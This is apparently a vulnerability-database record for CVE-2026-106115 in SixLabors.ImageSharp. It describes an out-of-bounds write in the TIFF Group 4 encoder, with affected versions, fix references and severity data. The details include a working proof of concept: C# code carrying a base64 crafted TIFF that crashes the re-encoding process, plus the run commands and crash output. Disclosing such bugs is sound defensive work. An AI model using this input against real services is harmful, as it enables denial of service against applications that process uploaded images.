{"schema":"threatline.record/2","record":{"id":"CVE-2026-106115","aliases":["GHSA-jjfr-hcj7-qf5w"],"summary":"ImageSharp: TIFF CCITT T6 encoder writes beyond an undersized output buffer","details":"### Summary\n\nThe TIFF CCITT Group 4 (T6) encoder writes beyond its logical compressed-data buffer when encoding a 1-bit image. A valid 1×1 Group 4 TIFF decoded and re-encoded with the default `TiffEncoder` terminates the process with an unhandled exception.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `>= 2.1.0, <= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T6 compressor was introduced by commit `3c9eb470a07a15012c2a29ad84090dcc804a7975`, first released in v2.1.0, with the same `Width * rowsPerStrip` allocation and unchecked code writes. The 1×1 exploit terminates published v2.1.0 and v4.1.1; its uncompressed control succeeds. Source history shows no capacity fix through v4.1.1.\n### Details\n\n[`TiffCcittCompressor.Initialize`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L527-L532) allocates `Width * rowsPerStrip` bytes. A 1×1 strip therefore receives one byte.\n\nAfter encoding the row, [`T6BitCompressor.CompressStrip`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/T6BitCompressor.cs#L53-L131) appends two 12-bit EOFB codes. [`WriteCode`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Tiff/Compression/Compressors/TiffCcittCompressor.cs#L466-L479) writes those bits without checking the destination capacity. The final checked slice detects the oversized byte count and throws `ArgumentOutOfRangeException`, after the unchecked writes have exceeded the one-byte span.\n\nThe default TIFF encoder can inherit `CcittGroup4Fax` and 1-bit settings from decoded frame metadata. The reproduction uses that decode-and-re-encode path.\n\n### Tested environment\n\n- Published NuGet package: `SixLabors.ImageSharp` 4.1.1\n- Target framework: `net8.0`\n- .NET SDK: 8.0.424\n- .NET runtime: 8.0.30\n- Operating system: Debian GNU/Linux 12, ARM64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nCreate a `net8.0` project referencing the published 4.1.1 assembly and use this `Program.cs`:\n\n```csharp\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\n\nstring mode = args.FirstOrDefault() ?? \"exploit\";\nbyte[] input = Convert.FromBase64String(\n    \"SUkqAAgAAAAJAAABAwABAAAAAQAAAAEBAwABAAAAAQAAAAIBAwABAAAAAQAAAAMBAwABAAAABAAAAAYBAwABAAAAAAAAABEBBAABAAAAegAAABUBAwABAAAAAQAAABYBBAABAAAAAQAAABcBBAABAAAABAAAAAAAAACACACA\");\n\nusing Image image = Image.Load(input);\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nConsole.WriteLine($\"ImageSharp={typeof(Image).Assembly.GetName().Version}\");\nConsole.WriteLine($\"mode={mode} decoded={image.Width}x{image.Height} compression={metadata.Compression} bits={metadata.BitsPerPixel}\");\n\nusing var output = new MemoryStream();\nif (mode == \"control\")\n{\n    image.Save(output, new TiffEncoder { Compression = TiffCompression.None });\n}\nelse\n{\n    image.Save(output, new TiffEncoder());\n}\n\nConsole.WriteLine($\"encoded=True bytes={output.Length}\");\n```\n\nRun:\n\n```text\ndotnet run -- exploit\ndotnet run -- control\n```\n\nThe exploit produced exit code 134:\n\n```text\nImageSharp=4.0.0.0\nmode=exploit decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nUnhandled exception. System.ArgumentOutOfRangeException: Specified argument was out of the range of valid values.\n   at SixLabors.ImageSharp.Formats.Tiff.Compression.Compressors.TiffCcittCompressor.CompressStrip(Span`1 rows, Int32 height)\n```\n\nThe control completed with exit code 0:\n\n```text\nImageSharp=4.0.0.0\nmode=control decoded=1x1 compression=CcittGroup4Fax bits=Bit1\nencoded=True bytes=212\n```\n\n### Impact\n\nOne attacker-supplied Group 4 TIFF can select this unsafe encoder path when an application decodes it and re-encodes it with inherited TIFF metadata. The demonstrated result is an unhandled exception and process termination in the reproduction. The report is limited to the T6 encoder path.","categories":["Libraries & packages"],"product":"SixLabors.ImageSharp","vendor":"SixLabors","ecosystem":"nuget","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","source_modified_at":"2026-10-07T20:24:49Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"nuget","name":"SixLabors.ImageSharp"},"range":">= 2.1.0, <= 4.1.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-106115","source_modified_at":"2026-10-09T01:20:52.111Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"ImageSharp","vendor":"SixLabors","versions":[{"status":"affected","version":">= 2.1.0, < 4.1.2"}],"defaultStatus":null},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-jjfr-hcj7-qf5w","source_modified_at":"2026-10-07T20:30:07.102954557Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"SixLabors.ImageSharp","ecosystem":"NuGet","purl":"pkg:nuget/SixLabors.ImageSharp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.1.0"},{"fixed":"4.1.2"}]}],"versions":["2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","4.0.0","4.1.0","4.1.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","source_modified_at":"2026-10-07T20:24:49Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"nuget","name":"SixLabors.ImageSharp"},"version":"4.1.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-jjfr-hcj7-qf5w","source_modified_at":"2026-10-07T20:30:07.102954557Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"SixLabors.ImageSharp","ecosystem":"NuGet","purl":"pkg:nuget/SixLabors.ImageSharp"},"version":"4.1.2"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.0035,"percentile":0.27483,"score_date":"2026-10-23"},"published_at":"2026-10-06T17:50:15.754Z","modified_at":"2026-10-09T01:20:52.111Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-07T20:24:49Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-106115","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-09T01:20:52.111Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-jjfr-hcj7-qf5w","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-07T20:30:07.102954557Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-106115","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-jjfr-hcj7-qf5w","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106115","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/pull/3187","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95","tags":["x_refsource_MISC"]},{"source":"CVE List","url":"https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","tags":["x_refsource_MISC"]},{"url":"https://github.com/advisories/GHSA-jjfr-hcj7-qf5w","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-10-09T01:20:30.658521Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-09T01:20:52.111Z","content_hash":"8a636699c4ecf62a704da877b1a87d1295f6e3a34f48e659b93532b3ac4ee58e"}}